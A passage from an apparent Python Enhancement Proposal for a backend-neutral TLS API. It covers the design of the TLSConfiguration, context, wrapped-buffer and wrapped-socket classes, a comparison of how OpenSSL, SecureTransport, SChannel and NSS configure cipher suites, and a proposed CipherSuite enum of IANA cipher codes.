below goes into more detail about how this is achieved. Finally, this API will split the responsibilities currently assumed by the SSLContext object: specifically, the responsibility for holding and managing configuration and the responsibility for using that configuration to build wrapper objects. This is necessarily primarily for supporting functionality like Server Name Indication (SNI). In OpenSSL (and thus in the ssl module), the server has the ability to modify the TLS configuration in response to the client telling the server what hostname it is trying to reach. This is mostly used to change certificate chain so as to present the correct TLS certificate chain for the given hostname. The specific mechanism by which this is done is by returning a new SSLContext object with the appropriate configuration. This is not a model that maps well to other TLS implementations. Instead, we need to make it possible to provide a return value from the SNI callback that can be used to indicate what configuration changes should be made. This means providing an object that can hold TLS configuration. This object needs to be applied to specific TLSWrappedBuffer, and TLSWrappedSocket objects. For this reason, we split the responsibility of SSLContext into two separate objects. The TLSConfiguration object is an object that acts as container for TLS configuration: the ClientContext and ServerContext objects are objects that are instantiated with a TLSConfiguration object. All three objects would be immutable. Note The following API declarations uniformly use type hints to aid reading. Some of these type hints cannot actually be used in practice because they are circularly referential. Consider them more a guideline than a reflection of the final code in the module. Configuration The TLSConfiguration concrete class defines an object that can hold and manage TLS configuration. The goals of this class are as follows: To provide a method of specifying TLS configuration that avoids the risk of errors in typing (this excludes the use of a simple dictionary). To provide an object that can be safely compared to other configuration objects to detect changes in TLS configuration, for use with the SNI callback. This class is not an ABC, primarily because it is not expected to have implementation-specific behaviour. The responsibility for transforming a TLSConfiguration object into a useful set of configuration for a given TLS implementation belongs to the Context objects discussed below. This class has one other notable property: it is immutable. This is a desirable trait for a few reasons. The most important one is that it allows these objects to be used as dictionary keys, which is potentially extremely valuable for certain TLS backends and their SNI configuration. On top of this, it frees implementations from needing to worry about their configuration objects being changed under their feet, which allows them to avoid needing to carefully synchronize changes between their concrete data structures and the configuration object. This object is extendable: that is, future releases of Python may add configuration fields to this object as they become useful. For backwards-compatibility purposes, new fields are only appended to this object. Existing fields will never be removed, renamed, or reordered. The TLSConfiguration object would be defined by the following code: ServerNameCallback = Callable[[TLSBufferObject, Optional[str], TLSConfiguration], Any] _configuration_fields = [ 'validate_certificates', 'certificate_chain', 'ciphers', 'inner_protocols', 'lowest_supported_version', 'highest_supported_version', 'trust_store', 'sni_callback', ] _DEFAULT_VALUE = object() class TLSConfiguration(namedtuple('TLSConfiguration', _configuration_fields)): """ An immutable TLS Configuration object. This object has the following properties: :param validate_certificates bool: Whether to validate the TLS certificates. This switch operates at a very broad scope: either validation is enabled, in which case all forms of validation are performed including hostname validation if possible, or validation is disabled, in which case no validation is performed. Not all backends support having their certificate validation disabled. If a backend does not support having their certificate validation disabled, attempting to set this property to ``False`` will throw a ``TLSError`` when this object is passed into a context object. :param certificate_chain Tuple[Tuple[Certificate],PrivateKey]: The certificate, intermediate certificate, and the corresponding private key for the leaf certificate. These certificates will be offered to the remote peer during the handshake if required. The first Certificate in the list must be the leaf certificate. All subsequent certificates will be offered as intermediate additional certificates. :param ciphers Tuple[Union[CipherSuite, int]]: The available ciphers for TLS connections created with this configuration, in priority order. :param inner_protocols Tuple[Union[NextProtocol, bytes]]: Protocols that connections created with this configuration should advertise as supported during the TLS handshake. These may be advertised using either or both of ALPN or NPN. This list of protocols should be ordered by preference. :param lowest_supported_version TLSVersion: The minimum version of TLS that should be allowed on TLS connections using this configuration. :param highest_supported_version TLSVersion: The maximum version of TLS that should be allowed on TLS connections using this configuration. :param trust_store TrustStore: The trust store that connections using this configuration will use to validate certificates. :param sni_callback Optional[ServerNameCallback]: A callback function that will be called after the TLS Client Hello handshake message has been received by the TLS server when the TLS client specifies a server name indication. Only one callback can be set per ``TLSConfiguration``. If the ``sni_callback`` is ``None`` then the callback is disabled. If the ``TLSConfiguration`` is used for a ``ClientContext`` then this setting will be ignored. The ``callback`` function will be called with three arguments: the first will be the ``TLSBufferObject`` for the connection; the second will be a string that represents the server name that the client is intending to communicate (or ``None`` if the TLS Client Hello does not contain a server name); and the third argument will be the original ``TLSConfiguration`` that configured the connection. The server name argument will be the IDNA *decoded* server name. The ``callback`` must return a ``TLSConfiguration`` to allow negotiation to continue. Other return values signal errors. Attempting to control what error is signaled by the underlying TLS implementation is not specified in this API, but is up to the concrete implementation to handle. The Context will do its best to apply the ``TLSConfiguration`` changes from its original configuration to the incoming connection. This will usually include changing the certificate chain, but may also include changes to allowable ciphers or any other configuration settings. """ __slots__ = () def __new__(cls, validate_certificates: Optional[bool] = None, certificate_chain: Optional[Tuple[Tuple[Certificate], PrivateKey]] = None, ciphers: Optional[Tuple[Union[CipherSuite, int]]] = None, inner_protocols: Optional[Tuple[Union[NextProtocol, bytes]]] = None, lowest_supported_version: Optional[TLSVersion] = None, highest_supported_version: Optional[TLSVersion] = None, trust_store: Optional[TrustStore] = None, sni_callback: Optional[ServerNameCallback] = None): if validate_certificates is None: validate_certificates = True if ciphers is None: ciphers = DEFAULT_CIPHER_LIST if inner_protocols is None: inner_protocols = [] if lowest_supported_version is None: lowest_supported_version = TLSVersion.TLSv1 if highest_supported_version is None: highest_supported_version = TLSVersion.MAXIMUM_SUPPORTED return super().__new__( cls, validate_certificates, certificate_chain, ciphers, inner_protocols, lowest_supported_version, highest_supported_version, trust_store, sni_callback ) def update(self, validate_certificates=_DEFAULT_VALUE, certificate_chain=_DEFAULT_VALUE, ciphers=_DEFAULT_VALUE, inner_protocols=_DEFAULT_VALUE, lowest_supported_version=_DEFAULT_VALUE, highest_supported_version=_DEFAULT_VALUE, trust_store=_DEFAULT_VALUE, sni_callback=_DEFAULT_VALUE): """ Create a new ``TLSConfiguration``, overriding some of the settings on the original configuration with the new settings. """ if validate_certificates is _DEFAULT_VALUE: validate_certificates = self.validate_certificates if certificate_chain is _DEFAULT_VALUE: certificate_chain = self.certificate_chain if ciphers is _DEFAULT_VALUE: ciphers = self.ciphers if inner_protocols is _DEFAULT_VALUE: inner_protocols = self.inner_protocols if lowest_supported_version is _DEFAULT_VALUE: lowest_supported_version = self.lowest_supported_version if highest_supported_version is _DEFAULT_VALUE: highest_supported_version = self.highest_supported_version if trust_store is _DEFAULT_VALUE: trust_store = self.trust_store if sni_callback is _DEFAULT_VALUE: sni_callback = self.sni_callback return self.__class__( validate_certificates, certificate_chain, ciphers, inner_protocols, lowest_supported_version, highest_supported_version, trust_store, sni_callback ) Context We define two Context abstract base classes. These ABCs define objects that allow configuration of TLS to be applied to specific connections. They can be thought of as factories for TLSWrappedSocket and TLSWrappedBuffer objects. Unlike the current ssl module, we provide two context classes instead of one. Specifically, we provide the ClientContext and ServerContext classes. This simplifies the APIs (for example, there is no sense in the server providing the server_hostname parameter to ssl.SSLContext.wrap_socket, but because there is only one context class that parameter is still available), and ensures that implementations know as early as possible which side of a TLS connection they will serve. Additionally, it allows implementations to opt-out of one or either side of the connection. For example, SecureTransport on macOS is not really intended for server use and has an enormous amount of functionality missing for server-side use. This would allow SecureTransport implementations to simply not define a concrete subclass of ServerContext to signal their lack of support. One of the other major differences to the current ssl module is that a number of flags and options have been removed. Most of these are self-evident, but it is worth noting that auto_handshake has been removed from wrap_socket. This was removed because it fundamentally represents an odd design wart that saves very minimal effort at the cost of a complexity increase both for users and implementers. This PEP requires that all users call do_handshake explicitly after connecting. As much as possible implementers should aim to make these classes immutable: that is, they should prefer not to allow users to mutate their internal state directly, instead preferring to create new contexts from new TLSConfiguration objects. Obviously, the ABCs cannot enforce this constraint, and so they do not attempt to. The Context abstract base class has the following class definition: TLSBufferObject = Union[TLSWrappedSocket, TLSWrappedBuffer] class _BaseContext(metaclass=ABCMeta): @abstractmethod def __init__(self, configuration: TLSConfiguration): """ Create a new context object from a given TLS configuration. """ @property @abstractmethod def configuration(self) -> TLSConfiguration: """ Returns the TLS configuration that was used to create the context. """ class ClientContext(_BaseContext): def wrap_socket(self, socket: socket.socket, server_hostname: Optional[str]) -> TLSWrappedSocket: """ Wrap an existing Python socket object ``socket`` and return a ``TLSWrappedSocket`` object. ``socket`` must be a ``SOCK_STREAM`` socket: all other socket types are unsupported. The returned SSL socket is tied to the context, its settings and certificates. The socket object originally passed to this method should not be used again: attempting to use it in any way will lead to undefined behaviour, especially across different TLS implementations. To get the original socket object back once it has been wrapped in TLS, see the ``unwrap`` method of the TLSWrappedSocket. The parameter ``server_hostname`` specifies the hostname of the service which we are connecting to. This allows a single server to host multiple SSL-based services with distinct certificates, quite similarly to HTTP virtual hosts. This is also used to validate the TLS certificate for the given hostname. If hostname validation is not desired, then pass ``None`` for this parameter. This parameter has no default value because opting-out of hostname validation is dangerous, and should not be the default behaviour. """ buffer = self.wrap_buffers(server_hostname) return TLSWrappedSocket(socket, buffer) @abstractmethod def wrap_buffers(self, server_hostname: Optional[str]) -> TLSWrappedBuffer: """ Create an in-memory stream for TLS, using memory buffers to store incoming and outgoing ciphertext. The TLS routines will read received TLS data from one buffer, and write TLS data that needs to be emitted to another buffer. The implementation details of how this buffering works are up to the individual TLS implementation. This allows TLS libraries that have their own specialised support to continue to do so, while allowing those without to use whatever Python objects they see fit. The ``server_hostname`` parameter has the same meaning as in ``wrap_socket``. """ class ServerContext(_BaseContext): def wrap_socket(self, socket: socket.socket) -> TLSWrappedSocket: """ Wrap an existing Python socket object ``socket`` and return a ``TLSWrappedSocket`` object. ``socket`` must be a ``SOCK_STREAM`` socket: all other socket types are unsupported. The returned SSL socket is tied to the context, its settings and certificates. The socket object originally passed to this method should not be used again: attempting to use it in any way will lead to undefined behaviour, especially across different TLS implementations. To get the original socket object back once it has been wrapped in TLS, see the ``unwrap`` method of the TLSWrappedSocket. """ buffer = self.wrap_buffers() return TLSWrappedSocket(socket, buffer) @abstractmethod def wrap_buffers(self) -> TLSWrappedBuffer: """ Create an in-memory stream for TLS, using memory buffers to store incoming and outgoing ciphertext. The TLS routines will read received TLS data from one buffer, and write TLS data that needs to be emitted to another buffer. The implementation details of how this buffering works are up to the individual TLS implementation. This allows TLS libraries that have their own specialised support to continue to do so, while allowing those without to use whatever Python objects they see fit. """ Buffer The buffer-wrapper ABC will be defined by the TLSWrappedBuffer ABC, which has the following definition: class TLSWrappedBuffer(metaclass=ABCMeta): @abstractmethod def read(self, amt: int) -> bytes: """ Read up to ``amt`` bytes of data from the input buffer and return the result as a ``bytes`` instance. Once EOF is reached, all further calls to this method return the empty byte string ``b''``. May read "short": that is, fewer bytes may be returned than were requested. Raise ``WantReadError`` or ``WantWriteError`` if there is insufficient data in either the input or output buffer and the operation would have caused data to be written or read. May raise ``RaggedEOF`` if the connection has been closed without a graceful TLS shutdown. Whether this is an exception that should be ignored or not is up to the specific application. As at any time a re-negotiation is possible, a call to ``read()`` can also cause write operations. """ @abstractmethod def readinto(self, buffer: Any, amt: int) -> int: """ Read up to ``amt`` bytes of data from the input buffer into ``buffer``, which must be an object that implements the buffer protocol. Returns the number of bytes read. Once EOF is reached, all further calls to this method return the empty byte string ``b''``. Raises ``WantReadError`` or ``WantWriteError`` if there is insufficient data in either the input or output buffer and the operation would have caused data to be written or read. May read "short": that is, fewer bytes may be read than were requested. May raise ``RaggedEOF`` if the connection has been closed without a graceful TLS shutdown. Whether this is an exception that should be ignored or not is up to the specific application. As at any time a re-negotiation is possible, a call to ``readinto()`` can also cause write operations. """ @abstractmethod def write(self, buf: Any) -> int: """ Write ``buf`` in encrypted form to the output buffer and return the number of bytes written. The ``buf`` argument must be an object supporting the buffer interface. Raise ``WantReadError`` or ``WantWriteError`` if there is insufficient data in either the input or output buffer and the operation would have caused data to be written or read. In either case, users should endeavour to resolve that situation and then re-call this method. When re-calling this method users *should* re-use the exact same ``buf`` object, as some backends require that the exact same buffer be used. This operation may write "short": that is, fewer bytes may be written than were in the buffer. As at any time a re-negotiation is possible, a call to ``write()`` can also cause read operations. """ @abstractmethod def do_handshake(self) -> None: """ Performs the TLS handshake. Also performs certificate validation and hostname verification. """ @abstractmethod def cipher(self) -> Optional[Union[CipherSuite, int]]: """ Returns the CipherSuite entry for the cipher that has been negotiated on the connection. If no connection has been negotiated, returns ``None``. If the cipher negotiated is not defined in CipherSuite, returns the 16-bit integer representing that cipher directly. """ @abstractmethod def negotiated_protocol(self) -> Optional[Union[NextProtocol, bytes]]: """ Returns the protocol that was selected during the TLS handshake. This selection may have been made using ALPN, NPN, or some future negotiation mechanism. If the negotiated protocol is one of the protocols defined in the ``NextProtocol`` enum, the value from that enum will be returned. Otherwise, the raw bytestring of the negotiated protocol will be returned. If ``Context.set_inner_protocols()`` was not called, if the other party does not support protocol negotiation, if this socket does not support any of the peer's proposed protocols, or if the handshake has not happened yet, ``None`` is returned. """ @property @abstractmethod def context(self) -> Context: """ The ``Context`` object this buffer is tied to. """ @abstractproperty def negotiated_tls_version(self) -> Optional[TLSVersion]: """ The version of TLS that has been negotiated on this connection. """ @abstractmethod def shutdown(self) -> None: """ Performs a clean TLS shut down. This should generally be used whenever possible to signal to the remote peer that the content is finished. """ @abstractmethod def receive_from_network(self, data): """ Receives some TLS data from the network and stores it in an internal buffer. """ @abstractmethod def peek_outgoing(self, amt): """ Returns the next ``amt`` bytes of data that should be written to the network from the outgoing data buffer, without removing it from the internal buffer. """ @abstractmethod def consume_outgoing(self, amt): """ Discard the next ``amt`` bytes from the outgoing data buffer. This should be used when ``amt`` bytes have been sent on the network, to signal that the data no longer needs to be buffered. """ Socket The socket-wrapper class will be a concrete class that accepts two items in its constructor: a regular socket object, and a TLSWrappedBuffer object. This object will be too large to recreate in this PEP, but will be submitted as part of the work to build the module. The wrapped socket will implement all of the socket API, though it will have stub implementations of methods that only work for sockets with types other than SOCK_STREAM (e.g. sendto/recvfrom). That limitation can be lifted as-and-when support for DTLS is added to this module. In addition, the socket class will include the following extra methods on top of the regular socket methods: class TLSWrappedSocket: def do_handshake(self) -> None: """ Performs the TLS handshake. Also performs certificate validation and hostname verification. This must be called after the socket has connected (either via ``connect`` or ``accept``), before any other operation is performed on the socket. """ def cipher(self) -> Optional[Union[CipherSuite, int]]: """ Returns the CipherSuite entry for the cipher that has been negotiated on the connection. If no connection has been negotiated, returns ``None``. If the cipher negotiated is not defined in CipherSuite, returns the 16-bit integer representing that cipher directly. """ def negotiated_protocol(self) -> Optional[Union[NextProtocol, bytes]]: """ Returns the protocol that was selected during the TLS handshake. This selection may have been made using ALPN, NPN, or some future negotiation mechanism. If the negotiated protocol is one of the protocols defined in the ``NextProtocol`` enum, the value from that enum will be returned. Otherwise, the raw bytestring of the negotiated protocol will be returned. If ``Context.set_inner_protocols()`` was not called, if the other party does not support protocol negotiation, if this socket does not support any of the peer's proposed protocols, or if the handshake has not happened yet, ``None`` is returned. """ @property def context(self) -> Context: """ The ``Context`` object this socket is tied to. """ def negotiated_tls_version(self) -> Optional[TLSVersion]: """ The version of TLS that has been negotiated on this connection. """ def unwrap(self) -> socket.socket: """ Cleanly terminate the TLS connection on this wrapped socket. Once called, this ``TLSWrappedSocket`` can no longer be used to transmit data. Returns the socket that was wrapped with TLS. """ Cipher Suites Supporting cipher suites in a truly library-agnostic fashion is a remarkably difficult undertaking. Different TLS implementations often have radically different APIs for specifying cipher suites, but more problematically these APIs frequently differ in capability as well as in style. Some examples are shown below: OpenSSL OpenSSL uses a well-known cipher string format. This format has been adopted as a configuration language by most products that use OpenSSL, including Python. This format is relatively easy to read, but has a number of downsides: it is a string, which makes it remarkably easy to provide bad inputs; it lacks much detailed validation, meaning that it is possible to configure OpenSSL in a way that doesn’t allow it to negotiate any cipher at all; and it allows specifying cipher suites in a number of different ways that make it tricky to parse. The biggest problem with this format is that there is no formal specification for it, meaning that the only way to parse a given string the way OpenSSL would is to get OpenSSL to parse it. OpenSSL’s cipher strings can look like this: 'ECDH+AESGCM:ECDH+CHACHA20:DH+AESGCM:DH+CHACHA20:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:RSA+AESGCM:RSA+AES:!aNULL:!eNULL:!MD5' This string demonstrates some of the complexity of the OpenSSL format. For example, it is possible for one entry to specify multiple cipher suites: the entry ECDH+AESGCM means “all ciphers suites that include both elliptic-curve Diffie-Hellman key exchange and AES in Galois Counter Mode”. More explicitly, that will expand to four cipher suites: "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256" That makes parsing a complete OpenSSL cipher string extremely tricky. Add to the fact that there are other meta-characters, such as “!” (exclude all cipher suites that match this criterion, even if they would otherwise be included: “!MD5” means that no cipher suites using the MD5 hash algorithm should be included), “-” (exclude matching ciphers if they were already included, but allow them to be re-added later if they get included again), and “+” (include the matching ciphers, but place them at the end of the list), and you get an extremely complex format to parse. On top of this complexity it should be noted that the actual result depends on the OpenSSL version, as an OpenSSL cipher string is valid so long as it contains at least one cipher that OpenSSL recognises. OpenSSL also uses different names for its ciphers than the names used in the relevant specifications. See the manual page for ciphers(1) for more details. The actual API inside OpenSSL for the cipher string is simple: char *cipher_list = <some cipher list>; int rc = SSL_CTX_set_cipher_list(context, cipher_list); This means that any format that is used by this module must be able to be converted to an OpenSSL cipher string for use with OpenSSL. SecureTransport SecureTransport is the macOS system TLS library. This library is substantially more restricted than OpenSSL in many ways, as it has a much more restricted class of users. One of these substantial restrictions is in controlling supported cipher suites. Ciphers in SecureTransport are represented by a C enum. This enum has one entry per cipher suite, with no aggregate entries, meaning that it is not possible to reproduce the meaning of an OpenSSL cipher string like “ECDH+AESGCM” without hand-coding which categories each enum member falls into. However, the names of most of the enum members are in line with the formal names of the cipher suites: that is, the cipher suite that OpenSSL calls “ECDHE-ECDSA-AES256-GCM-SHA384” is called “TLS_ECDHE_ECDHSA_WITH_AES_256_GCM_SHA384” in SecureTransport. The API for configuring cipher suites inside SecureTransport is simple: SSLCipherSuite ciphers[] = {TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, ...}; OSStatus status = SSLSetEnabledCiphers(context, ciphers, sizeof(ciphers)); SChannel SChannel is the Windows system TLS library. SChannel has extremely restrictive support for controlling available TLS cipher suites, and additionally adopts a third method of expressing what TLS cipher suites are supported. Specifically, SChannel defines a set of ALG_ID constants (C unsigned ints). Each of these constants does not refer to an entire cipher suite, but instead an individual algorithm. Some examples are CALG_3DES and CALG_AES_256, which refer to the bulk encryption algorithm used in a cipher suite, CALG_DH_EPHEM and CALG_RSA_KEYX which refer to part of the key exchange algorithm used in a cipher suite, CALG_SHA1 and CALG_MD5 which refer to the message authentication code used in a cipher suite, and CALG_ECDSA and CALG_RSA_SIGN which refer to the signing portions of the key exchange algorithm. This can be thought of as the half of OpenSSL’s functionality that SecureTransport doesn’t have: SecureTransport only allows specifying exact cipher suites, while SChannel only allows specifying parts of the cipher suite, while OpenSSL allows both. Determining which cipher suites are allowed on a given connection is done by providing a pointer to an array of these ALG_ID constants. This means that any suitable API must allow the Python code to determine which ALG_ID constants must be provided. Network Security Services (NSS) NSS is Mozilla’s crypto and TLS library. It’s used in Firefox, Thunderbird, and as alternative to OpenSSL in multiple libraries, e.g. curl. By default, NSS comes with secure configuration of allowed ciphers. On some platforms such as Fedora, the list of enabled ciphers is globally configured in a system policy. Generally, applications should not modify cipher suites unless they have specific reasons to do so. NSS has both process global and per-connection settings for cipher suites. It does not have a concept of SSLContext like OpenSSL. A SSLContext-like behavior can be easily emulated. Specifically, ciphers can be enabled or disabled globally with SSL_CipherPrefSetDefault(PRInt32 cipher, PRBool enabled), and SSL_CipherPrefSet(PRFileDesc *fd, PRInt32 cipher, PRBool enabled) for a connection. The cipher PRInt32 number is a signed 32bit integer that directly corresponds to an registered IANA id, e.g. 0x1301 is TLS_AES_128_GCM_SHA256. Contrary to OpenSSL, the preference order of ciphers is fixed and cannot be modified at runtime. Like SecureTransport, NSS has no API for aggregated entries. Some consumers of NSS have implemented custom mappings from OpenSSL cipher names and rules to NSS ciphers, e.g. mod_nss. Proposed Interface The proposed interface for the new module is influenced by the combined set of limitations of the above implementations. Specifically, as every implementation except OpenSSL requires that each individual cipher be provided, there is no option but to provide that lowest-common denominator approach. The simplest approach is to provide an enumerated type that includes a large subset of the cipher suites defined for TLS. The values of the enum members will be their two-octet cipher identifier as used in the TLS handshake, stored as a 16 bit integer. The names of the enum members will be their IANA-registered cipher suite names. As of now, the IANA cipher suite registry contains over 320 cipher suites. A large portion of the cipher suites are irrelevant for TLS connections to network services. Other suites specify deprecated and insecure algorithms that are no longer provided by recent versions of implementations. The enum does not contain ciphers with: key exchange: NULL, Kerberos (KRB5), pre-shared key (PSK), secure remote transport (TLS-SRP) authentication: NULL, anonymous, export grade, Kerberos (KRB5), pre-shared key (PSK), secure remote transport (TLS-SRP), DSA cert (DSS) encryption: NULL, ARIA, DES, RC2, export grade 40bit PRF: MD5 SCSV cipher suites 3DES, RC4, SEED, and IDEA are included for legacy applications. Further more five additional cipher suites from the TLS 1.3 draft (draft-ietf-tls-tls13-18) are included, too. TLS 1.3 does not share any cipher suites with TLS 1.2 and earlier. The resulting enum will contain roughly 110 suites. Because of these limitations, and because the enum doesn’t contain every defined cipher, and also to allow for forward-looking applications, all parts of this API that accept CipherSuite objects will also accept raw 16-bit integers directly. Rather than populate this enum by hand, we have a TLS enum script that builds it from Christian Heimes’ tlsdb JSON file (warning: large file) and IANA cipher suite registry. The TLSDB also opens up the possibility of extending the API with additional querying function, such as determining which TLS versions support which ciphers, if that functionality is found to be useful or necessary. If users find this approach to be onerous, a future extension to this API can provide helpers that can reintroduce OpenSSL’s aggregation functionality. class CipherSuite(IntEnum): TLS_RSA_WITH_RC4_128_SHA = 0x0005 TLS_RSA_WITH_IDEA_CBC_SHA = 0x0007 TLS_RSA_WITH_3DES_EDE_CBC_SHA = 0x000a TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA = 0x0010 TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA = 0x0016 TLS_RSA_WITH_AES_128_CBC_SHA = 0x002f TLS_DH_RSA_WITH_AES_128_CBC_SHA = 0x0031 TLS_DHE_RSA_WITH_AES_128_CBC_SHA = 0x0033 TLS_RSA_WITH_AES_256_CBC_SHA = 0x0035 TLS_DH_RSA_WITH_AES_256_CBC_SHA = 0x0037 TLS_DHE_RSA_WITH_AES_256_CBC_SHA = 0x0039 TLS_RSA_WITH_AES_128_CBC_SHA256 = 0x003c TLS_RSA_WITH_AES_256_CBC_SHA256 = 0x003d TLS_DH_RSA_WITH_AES_128_CBC_SHA256 = 0x003f TLS_RSA_WITH_CAMELLIA_128_CBC_SHA = 0x0041 TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA = 0x0043 TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA = 0x0045 TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 = 0x0067 TLS_DH_RSA_WITH_AES_256_CBC_SHA256 = 0x0069 TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 = 0x006b TLS_RSA_WITH_CAMELLIA_256_CBC_SHA = 0x0084 TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA = 0x0086 TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA = 0x0088 TLS_RSA_WITH_SEED_CBC_SHA = 0x0096 TLS_DH_RSA_WITH_SEED_CBC_SHA = 0x0098 TLS_DHE_RSA_WITH_SEED_CBC_SHA = 0x009a TLS_RSA_WITH_AES_128_GCM_SHA256 = 0x009c TLS_RSA_WITH_AES_256_GCM_SHA384 = 0x009d TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 = 0x009e TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 = 0x009f TLS_DH_RSA_WITH_AES_128_GCM_SHA256 = 0x00a0 TLS_DH_RSA_WITH_AES_256_GCM_SHA384 = 0x00a1 TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 0x00ba TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 0x00bc TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 0x00be TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256 = 0x00c0 TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256 = 0x00c2 TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256 = 0x00c4 TLS_AES_128_GCM_SHA256 = 0x1301 TLS_AES_256_GCM_SHA384 = 0x1302 TLS_CHACHA20_POLY1305_SHA256 = 0x1303 TLS_AES_128_CCM_SHA256 = 0x1304 TLS_AES_128_CCM_8_SHA256 = 0x1305 TLS_ECDH_ECDSA_WITH_RC4_128_SHA = 0xc002 TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA = 0xc003 TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA = 0xc004 TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA = 0xc005 TLS_ECDHE_ECDSA_WITH_RC4_128_SHA = 0xc007 TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA = 0xc008 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA = 0xc009 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA = 0xc00a TLS_ECDH_RSA_WITH_RC4_128_SHA = 0xc00c TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA = 0xc00d TLS_ECDH_RSA_WITH_AES_128_CBC_SHA = 0xc00e TLS_ECDH_RSA_WITH_AES_256_CBC_SHA = 0xc00f TLS_ECDHE_RSA_WITH_RC4_128_SHA = 0xc011 TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA = 0xc012 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA = 0xc013 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA = 0xc014 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 = 0xc023 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 = 0xc024 TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 = 0xc025 TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 = 0xc026 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 = 0xc027 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 = 0xc028 TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 = 0xc029 TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 = 0xc02a TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 = 0xc02b TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 = 0xc02c TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 = 0xc02d TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 = 0xc02e TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 = 0xc02f TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 = 0xc030 TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 = 0xc031 TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 = 0xc032 TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 = 0xc072 TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 = 0xc073 TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 = 0xc074 TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 = 0xc075 TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 0xc076 TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384 = 0xc077 TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 0xc078 TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384 = 0xc079 TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 0xc07a TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 0xc07b TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 0xc07c TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 0xc07d TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 0xc07e TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 0xc07f TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 = 0xc086 TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 = 0xc087 TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 = 0xc088 TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 = 0xc089 TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 0xc08a TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 0xc08b TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 0xc08c TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 0xc08d TLS_RSA_WITH_AES_128_CCM = 0xc09c TLS_RSA_WITH_AES_256_CCM = 0xc09d TLS_DHE_RSA_WITH_AES_128_CCM = 0xc09e TLS_DHE_RSA_WITH_AES_256_CCM = 0xc09f TLS_RSA_WITH_AES_128_CCM_8 = 0xc0a0 TLS_RSA_WITH_AES_256_CCM_8 = 0xc0a1 TLS_DHE_RSA_WITH_AES_128_CCM_8 = 0xc0a2 TLS_DHE_RSA_WITH_AES_256_CCM_8 = 0xc0a3 TLS_ECDHE_ECDSA_WITH_AES_128_CCM = 0xc0ac TLS_ECDHE_ECDSA_WITH_AES_256_CCM = 0xc0ad TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8 = 0xc0ae TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8 = 0xc0af TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 = 0xcca8 TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 = 0xcca9 TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 = 0xccaa Enum members can be mapped to OpenSSL cipher names: >>> import 